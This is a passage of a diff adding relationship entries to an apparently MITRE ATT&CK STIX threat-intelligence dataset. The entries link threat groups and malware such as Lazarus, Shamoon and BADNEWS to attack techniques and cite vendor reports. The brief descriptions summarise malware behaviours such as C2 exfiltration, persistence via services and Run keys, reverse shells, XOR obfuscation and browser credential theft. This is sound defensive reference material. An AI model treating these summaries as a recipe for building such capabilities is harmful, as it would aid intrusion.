"2019-04-29T18:13:08.776Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A Destover-like implant used by [Lazarus Group](https://attack.mitre.org/groups/G0032) can obtain the current system time and send it to the C2 server.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d0327dce-ca02-48ba-8830-85fcc574113c", + "external_references": [ + { + "source_name": "McAfee GhostSecret", + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/" + } + ], + "modified": "2019-04-29T18:13:08.781Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Helminth](https://attack.mitre.org/software/S0170) creates folders to store output from batch scripts prior to sending the information to its C2 server.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9c7ecbf4-88fe-4144-8dc4-f5bca2c3156d", + "external_references": [ + { + "source_name": "Palo Alto OilRig May 2016", + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e", + "relationship_type": "uses", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Nerex](https://attack.mitre.org/software/S0210) creates a Registry subkey that registers a new service.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6aadee2b-d475-4604-bb08-7df5e59eae3a", + "external_references": [ + { + "source_name": "Symantec Nerex May 2012", + "description": "Ladley, F. (2012, May 15). Backdoor.Nerex. Retrieved February 23, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-3445-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--c251e4a5-9a2e-4166-8e42-442af75c3b9a", + "relationship_type": "uses", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Honeybee](https://attack.mitre.org/groups/G0072) adds collected files to a temp.zip file saved in the %temp% folder, then base64 encodes it and uploads it to control server.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--76651b1b-8c14-4aac-92dd-1364686b61cd", + "external_references": [ + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ], + "modified": "2019-03-25T12:58:44.202Z", + "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "relationship_type": "uses", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Mivast](https://attack.mitre.org/software/S0080) has the capability to download and execute .exe files.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d7699bcf-5732-40f5-a715-d430b00b043e", + "external_references": [ + { + "source_name": "Symantec Backdoor.Mivast", + "description": "Stama, D.. (2015, February 6). Backdoor.Mivast. Retrieved February 15, 2016.", + "url": "http://www.symantec.com/security_response/writeup.jsp?docid=2015-020623-0740-99&tabid=2" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--fbb470da-1d44-4f29-bbb3-9efbe20f94a3", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T19:44:56.496Z", + "type": "relationship", + "id": "relationship--dd792651-5ab5-4d9c-ab46-7dfedcd811f1", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2018-04-18T17:59:24.739Z", + "source_ref": "course-of-action--44155d14-ca75-4fdf-b033-ab3d732e2884", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--6be14413-578e-46c1-8304-310762b3ecd5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Kwampirs](https://attack.mitre.org/software/S0236) establishes persistence by adding a new service with the display name \"WMI Performance Adapter Extension\" in an attempt to masquerade as a legitimate WMI service.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--abdf9690-d578-4f86-a2cc-295c2789bb4e", + "external_references": [ + { + "source_name": "Symantec Orangeworm April 2018", + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", + "relationship_type": "uses", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CORESHELL](https://attack.mitre.org/software/S0137) collects hostname, volume serial number and OS version data from the victim and sends the information to its C2 server.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5301c007-7c00-4b4d-b355-864db8de052f", + "external_references": [ + { + "source_name": "FireEye APT28", + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + } + ], + "modified": "2019-01-30T18:08:51.102Z", + "source_ref": "malware--60c18d06-7b91-4742-bae3-647845cd9d81", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) can enumerate registry keys.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9f496c45-eac5-464f-858b-ef481f2f37ff", + "external_references": [ + { + "source_name": "ESET Sednit Part 2", + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + }, + { + "source_name": "Bitdefender APT28 Dec 2015", + "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.", + "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", + "relationship_type": "uses", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "DLL side-loading has been used to execute [BBSRAT](https://attack.mitre.org/software/S0127) through a legitimate Citrix executable, ssonsvr.exe. The Citrix executable was dropped along with [BBSRAT](https://attack.mitre.org/software/S0127) by the dropper.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6b19a5ae-3f6a-4950-94da-22d94477d5d2", + "external_references": [ + { + "source_name": "Palo Alto Networks BBSRAT", + "description": "Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/" + } + ], + "modified": "2019-04-24T23:10:02.413Z", + "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80", + "relationship_type": "uses", + "target_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:41:14.788Z", + "type": "relationship", + "id": "relationship--c0b07b4a-d421-4faa-8564-4cc89668afac", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.023Z", + "source_ref": "course-of-action--bd2554b8-634f-4434-a986-9b49c29da2ae", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PowerSploit](https://attack.mitre.org/software/S0194)'s Get-Keystrokes Exfiltration module can log keystrokes.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1bd467ff-6e94-40c5-ae4d-2ed7c62bc0d5", + "external_references": [ + { + "source_name": "GitHub PowerSploit May 2012", + "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.", + "url": "https://github.com/PowerShellMafia/PowerSploit" + }, + { + "source_name": "PowerSploit Documentation", + "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.", + "url": "http://powersploit.readthedocs.io" + } + ], + "modified": "2019-04-24T23:43:08.090Z", + "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-29T18:13:09.348Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9c203488-e4e0-4e41-8a92-e350eabf6e65", + "external_references": [ + { + "source_name": "Lazarus KillDisk", + "description": "K\u00e1lnai, P., Cherepanov A. (2018, April 03). Lazarus KillDisks Central American casino. Retrieved May 17, 2018.", + "url": "https://www.welivesecurity.com/2018/04/03/lazarus-killdisk-central-american-casino/" + } + ], + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Matroyshka](https://attack.mitre.org/software/S0167) obfuscates API function names using a substitute cipher combined with Base64 encoding.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--573916d8-804d-4453-be37-e6b1865e87db", + "external_references": [ + { + "source_name": "CopyKittens Nov 2015", + "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.", + "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:22:19.237Z", + "type": "relationship", + "id": "relationship--af088283-7416-466d-86f3-8b55e6d698d4", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2018-01-16T16:13:52.465Z", + "source_ref": "course-of-action--00d7d21b-69d6-4797-88a2-c86f3fc97651", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--b8c5c9dd-a662-479d-9428-ae745872537c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[GravityRAT](https://attack.mitre.org/software/S0237) collects various information via WMI requests, including CPU information in the Win32_Processor entry (Processor ID, Name, Manufacturer and the clock speed).", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fe4c0535-7491-4345-a524-11f8434e3678", + "external_references": [ + { + "source_name": "Talos GravityRAT", + "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.", + "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html" + } + ], + "modified": "2019-04-24T23:21:59.169Z", + "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637", + "relationship_type": "uses", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) bypassed User Access Control (UAC).", + "type": "relationship", + "created": "2017-05-31T21:33:27.075Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d16d59aa-f056-4cc7-9f67-0e80db9cdacb", + "external_references": [ + { + "source_name": "Cymmetria Patchwork", + "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.", + "url": "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf" + } + ], + "modified": "2019-07-11T13:53:05.860Z", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "relationship_type": "uses", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Hydraq](https://attack.mitre.org/software/S0203) uses basic obfuscation in the form of spaghetti code.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5ef1c7d8-70bc-4634-b705-644f4d1db3b0", + "external_references": [ + { + "source_name": "Symantec Elderwood Sept 2012", + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + }, + { + "source_name": "Symantec Trojan.Hydraq Jan 2010", + "description": "Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.", + "url": "https://www.symantec.com/connect/blogs/trojanhydraq-incident" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CopyKittens](https://attack.mitre.org/groups/G0052) digitally signed an executable with a stolen certificate from legitimate company AI Squared.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f6915cfa-4c11-4830-bcd8-aa648596b895", + "external_references": [ + { + "source_name": "ClearSky Wilted Tulip July 2017", + "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf" + } + ], + "modified": "2019-05-03T16:42:19.225Z", + "source_ref": "intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a", + "relationship_type": "uses", + "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RogueRobin](https://attack.mitre.org/software/S0270) created a shortcut in the Windows startup folder to launch a PowerShell script each time the user logs in to establish persistence.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fe86edf0-d69f-48bc-bdb7-7fd8a8dbcb82", + "external_references": [ + { + "source_name": "Unit 42 DarkHydrus July 2018", + "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + } + ], + "modified": "2019-04-24T23:55:43.337Z", + "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BADNEWS](https://attack.mitre.org/software/S0128) encrypts C2 data with a ROR by 3 and an XOR by 0x23.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1ba38510-0489-4305-944f-451e6869b30f", + "external_references": [ + { + "source_name": "Forcepoint Monsoon", + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + }, + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", + "relationship_type": "uses", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pupy](https://attack.mitre.org/software/S0192) can enable/disable RDP connection and can start a remote desktop session using a browser web socket client.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9c593e55-8c4d-4705-9e8b-ac83962973df", + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "modified": "2019-04-24T17:52:47.818Z", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "relationship_type": "uses", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Shamoon](https://attack.mitre.org/software/S0140) creates a new service named \u201cntssrv\u201d that attempts to appear legitimate; the service's display name is \u201cMicrosoft Network Realtime Inspection Service\u201d and its description is \u201cHelps guard against time change attempts targeting known and newly discovered vulnerabilities in network time protocols.\u201d", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3c630128-27ba-4c71-b09a-c9ac39e7acac", + "external_references": [ + { + "source_name": "Palo Alto Shamoon Nov 2016", + "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" + } + ], + "modified": "2019-04-24T23:59:16.232Z", + "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3", + "relationship_type": "uses", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TURNEDUP](https://attack.mitre.org/software/S0199) is capable of writing to a Registry Run key to establish.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f2d1bf8c-6541-40af-8c84-48c7570fb50b", + "external_references": [ + { + "source_name": "CyberBit Early Bird Apr 2018", + "description": "Gavriel, H. & Erbesfeld, B. (2018, April 11). New \u2018Early Bird\u2019 Code Injection Technique Discovered. Retrieved May 24, 2018.", + "url": "https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/" + } + ], + "modified": "2019-05-14T19:15:24.361Z", + "source_ref": "malware--db1355a7-e5c9-4e2c-8da7-eccf2ae9bf5c", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-14T21:15:55.482Z", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c354d751-4688-49c5-9f9a-0d2bc705f645", + "external_references": [ + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + } + ], + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "relationship_type": "uses", + "target_ref": "tool--294e2560-bd48-44b2-9da2-833b5588ad11" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[yty](https://attack.mitre.org/software/S0248) runs ipconfig /all and collects the domain name.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f9841bd6-ec35-423f-8b47-3f215fda197a", + "external_references": [ + { + "source_name": "ASERT Donot March 2018", + "description": "Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.", + "url": "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/" + } + ], + "modified": "2019-04-25T00:09:23.169Z", + "source_ref": "malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[KOMPROGO](https://attack.mitre.org/software/S0156) is capable of creating a reverse shell.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f3bbff8f-5f4b-40aa-a55f-e3880a582868", + "external_references": [ + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--7dbb67c7-270a-40ad-836e-c45f8948aa5a", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-11T13:53:06.123Z", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f1456e13-5f3f-4dac-a002-2bd78c36348a", + "external_references": [ + { + "source_name": "Forcepoint Monsoon", + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + }, + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "relationship_type": "uses", + "target_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RTM](https://attack.mitre.org/software/S0148) tries to add a scheduled task to establish persistence.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--84e0c62b-b1a6-4ecd-8607-f0b516cb48f6", + "external_references": [ + { + "source_name": "ESET RTM Feb 2017", + "description": "Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "relationship_type": "uses", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Unknown Logger](https://attack.mitre.org/software/S0130) is capable of stealing usernames and passwords from browsers on the victim machine.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a76e4748-2cef-4ee6-96a3-53ee227f0333", + "external_references": [ + { + "source_name": "Forcepoint Monsoon", + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--ab3580c8-8435-4117-aace-3d9fbe46aa56", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[WINDSHIELD](https://attack.mitre.org/software/S0155) can gather the victim computer name.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--73fe447a-8d70-433f-be9a-5af74934a662", + "external_references": [ + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": 